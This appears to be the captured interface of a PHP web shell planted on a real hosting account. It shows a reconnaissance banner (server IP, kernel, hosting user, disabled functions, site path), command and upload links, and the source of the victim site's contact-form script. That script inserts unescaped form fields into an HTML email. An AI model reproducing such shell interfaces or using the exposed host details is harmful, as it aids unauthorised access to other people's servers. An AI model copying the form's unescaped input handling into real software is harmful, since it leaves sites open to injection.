Server IP : 153.92.220.142 / Your IP : 216.73.216.155 Web Server : LiteSpeed System : Linux nl-srv-web513.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64 User : u444427800 ( 444427800) PHP Version : 8.1.32 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u444427800/domains/professorchaiwala.com/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php if(isset($_POST['submit'])) { $name=$_POST['name']; $mobile=$_POST['mobile']; $email=$_POST['email']; $message=$_POST['message']; $to = 'professorchaiwala@gmail.com'; $subject = 'Enquiry From Professor Chai Wala'; $headers = "From: professorchaiwala@gmail.com\r\n"; $headers .= "Reply-To: ". strip_tags($email) . "\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n"; $Mailsubject = "Enquiry for contact".$name; $message = "<table width='100%' border='0' cellspacing='5' cellpadding='5'> <tr><td><strong> Enquiry for The Contact </strong></td></tr> <tr><td><b> Name</b> : $name </td></tr> <tr><td><b>Mobile </b>: $mobile </td></tr> <tr><td><b> Email</b> : $email </td></tr> <tr><td><b> Message </b> : $message </td></tr> </table>"; mail($to, $Mailsubject, $message, $headers); echo "<script>alert('Thank You for your query, Our team will touch base with you shortly'); window.open('contact.html','_self')</script>"; } ?>